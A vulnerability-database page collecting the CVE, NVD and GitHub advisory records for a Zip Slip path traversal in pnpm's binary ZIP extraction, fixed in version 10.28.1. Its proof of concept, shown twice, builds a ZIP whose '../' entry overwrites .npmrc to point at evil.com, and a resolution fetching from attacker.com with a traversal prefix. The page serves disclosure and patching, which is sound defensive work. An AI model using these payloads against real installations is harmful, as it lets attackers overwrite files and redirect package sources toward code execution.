Vulnerability-Lookup

CVE-2026-23888 (GCVE-0-2026-23888)

Vulnerability from cvelistv5 – Published: 2026-01-26 21:37 – Updated: 2026-01-27 21:41

Title

pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)

Summary

pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`. The issue impacts all pnpm users who install packages with binary assets, users who configure custom Node.js binary locations and CI/CD pipelines that auto-install binary dependencies. It can lead to overwriting config files, scripts, or other sensitive files leading to RCE. Version 10.28.1 contains a patch.

Severity ?

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-23 - Relative Path Traversal
CWE-426 - Untrusted Search Path

Assigner

GitHub_M

References

URL

Tags

	https://github.com/pnpm/pnpm/security/advisories/…	x_refsource_CONFIRM
	https://github.com/pnpm/pnpm/commit/5c382f0ca3b7c…	x_refsource_MISC
	https://github.com/pnpm/pnpm/releases/tag/v10.28.1	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	pnpm	pnpm	Affected: < 10.28.1

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-23888

Vulnerability from fkie_nvd - Published: 2026-01-26 22:15 - Updated: 2026-01-27 14:59

Severity ?

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5
	security-advisories@github.com	https://github.com/pnpm/pnpm/releases/tag/v10.28.1
	security-advisories@github.com	https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm\u0027s binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip\u0027s `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`. The issue impacts all pnpm users who install packages with binary assets, users who configure custom Node.js binary locations and CI/CD pipelines that auto-install binary dependencies. It can lead to overwriting config files, scripts, or other sensitive files leading to RCE. Version 10.28.1 contains a patch."
    }
  ],
  "id": "CVE-2026-23888",
  "lastModified": "2026-01-27T14:59:34.073",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-01-26T22:15:56.047",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-23"
        },
        {
          "lang": "en",
          "value": "CWE-426"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-6PFH-P556-V868

Vulnerability from github – Published: 2026-01-26 21:02 – Updated: 2026-01-26 21:02

Summary

pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)

Details

Summary

A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.

Details

The vulnerability exists in the binary fetching and extraction logic:

1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)

AdmZip's extractAllTo does not validate entry paths for path traversal:

const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true)  // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)

A ZIP entry with path ../../../.npmrc will be written outside nodeDir.

2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)

The basename variable comes from BinaryResolution.prefix and is used directly in path construction:

const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir

PoC

Attack Vector 1: ZIP Entry Path Traversal

import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    # Normal file
    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
    # Malicious path traversal entry
    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')

with open('malicious-node.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

Attack Vector 2: Prefix Traversal via malicious resolution:

{
  "resolution": {
    "type": "binary",
    "url": "https://attacker.com/node.zip",
    "prefix": "../../PWNED"
  }
}

Impact

All pnpm users who install packages with binary assets
Users who configure custom Node.js binary locations
CI/CD pipelines that auto-install binary dependencies
Can overwrite config files, scripts, or other sensitive files leading to RCE

Verified on pnpm main @ commit 5a0ed1d45.

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.0.0-alpha.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23888"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23",
      "CWE-426"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-26T21:02:49Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA path traversal vulnerability in pnpm\u0027s binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip\u0027s `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`.\n\n### Details\n\nThe vulnerability exists in the binary fetching and extraction logic:\n\n**1. Unvalidated ZIP Entry Extraction (`fetching/binary-fetcher/src/index.ts`)**\n\nAdmZip\u0027s `extractAllTo` does not validate entry paths for path traversal:\n\n```typescript\nconst zip = new AdmZip(buffer)\nconst nodeDir = basename === \u0027\u0027 ? targetDir : path.dirname(targetDir)\nconst extractedDir = path.join(nodeDir, basename)\nzip.extractAllTo(nodeDir, true)  // Entry paths not validated!\nawait renameOverwrite(extractedDir, targetDir)\n```\n\nA ZIP entry with path `../../../.npmrc` will be written outside `nodeDir`.\n\n**2. Unvalidated Prefix in BinaryResolution (`resolving/resolver-base/src/index.ts`)**\n\nThe `basename` variable comes from `BinaryResolution.prefix` and is used directly in path construction:\n\n```typescript\nconst extractedDir = path.join(nodeDir, basename)\n// If basename is \u0027../../evil\u0027, this points outside nodeDir\n```\n\n### PoC\n\n**Attack Vector 1: ZIP Entry Path Traversal**\n\n```python\nimport zipfile\nimport io\n\nzip_buffer = io.BytesIO()\nwith zipfile.ZipFile(zip_buffer, \u0027w\u0027) as zf:\n    # Normal file\n    zf.writestr(\u0027node-v20.0.0-linux-x64/bin/node\u0027, b\u0027#!/bin/sh\\necho \"legit node\"\u0027)\n    # Malicious path traversal entry\n    zf.writestr(\u0027../../../.npmrc\u0027, b\u0027registry=https://evil.com/\\n\u0027)\n\nwith open(\u0027malicious-node.zip\u0027, \u0027wb\u0027) as f:\n    f.write(zip_buffer.getvalue())\n```\n\n**Attack Vector 2: Prefix Traversal via malicious resolution:**\n\n```json\n{\n  \"resolution\": {\n    \"type\": \"binary\",\n    \"url\": \"https://attacker.com/node.zip\",\n    \"prefix\": \"../../PWNED\"\n  }\n}\n```\n\n### Impact\n\n- All pnpm users who install packages with binary assets\n- Users who configure custom Node.js binary locations\n- CI/CD pipelines that auto-install binary dependencies\n- Can overwrite config files, scripts, or other sensitive files leading to RCE\n\nVerified on pnpm main @ commit `5a0ed1d45`.",
  "id": "GHSA-6pfh-p556-v868",
  "modified": "2026-01-26T21:02:49Z",
  "published": "2026-01-26T21:02:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-23888 (GCVE-0-2026-23888)

FKIE_CVE-2026-23888

GHSA-6PFH-P556-V868

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature